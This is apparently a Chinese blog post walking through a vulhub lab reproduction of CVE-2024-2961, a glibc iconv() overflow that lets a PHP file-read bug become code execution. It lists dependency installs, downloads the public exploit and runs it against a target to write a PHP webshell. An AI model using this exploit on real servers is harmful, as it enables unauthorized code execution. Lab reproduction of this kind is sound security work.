vulhub中PHP利用GNU C Iconv将文件读取变成RCE(CVE-2024-2961)

GNU C 是一个标准的ISO C依赖库。在GNU C中,iconv()函数2.39及以前存在一处缓冲区溢出漏洞,这可能会导致应用程序崩溃或覆盖相邻变量。

如果一个PHP应用中存在任意文件读取漏洞,攻击者可以利用`iconv()`的这个CVE-2024-2961漏洞,将其提升为代码执行漏洞。

漏洞复现

在使用原作者给出的[exploit](https://github.com/ambionics/cnext-exploits)前,你需要准备一个Linux环境和Python 3.10解释器。

安装依赖:

pip install pwntools

pip install https://github.com/cfreal/ten/archive/refs/heads/main.zip

然后从<https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py\>下载POC并执行:

wget https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py

python cnext-exploit.py http://your-ip:8080/index.php "echo '<?=phpinfo();?>' > shell.php"

已经成功写入shell.php:

相关推荐
光泽雨4 分钟前
单例模式代码理解
开发语言·c#
冰暮流星7 分钟前
javascript之字符串索引数组
开发语言·前端·javascript·算法
knighthood200114 分钟前
PCL1.14.0+VTK9.3.0+Qt5.15.2实现加载点云
开发语言·数据库·qt
我命由我1234514 分钟前
Kotlin 面向对象 - 匿名内部类、匿名内部类简化
android·java·开发语言·java-ee·kotlin·android studio·android jetpack
lpfasd12315 分钟前
Zig 简介:C 的现代化继任者
c语言·开发语言
冰暮流星18 分钟前
javascript创建数组的方式
开发语言·javascript·ecmascript
星火开发设计18 分钟前
模板特化:为特定类型定制模板实现
java·开发语言·前端·c++·知识
大鹏说大话19 分钟前
线上服务重启后无法加载 Nacos 配置?常见原因与排查指南
开发语言
凤年徐19 分钟前
优选算法——双指针专题 3.快乐数 4.盛水最多的容器
开发语言·数据结构·c++·算法
阿里嘎多学长22 分钟前
2026-02-14 GitHub 热点项目精选
开发语言·程序员·github·代码托管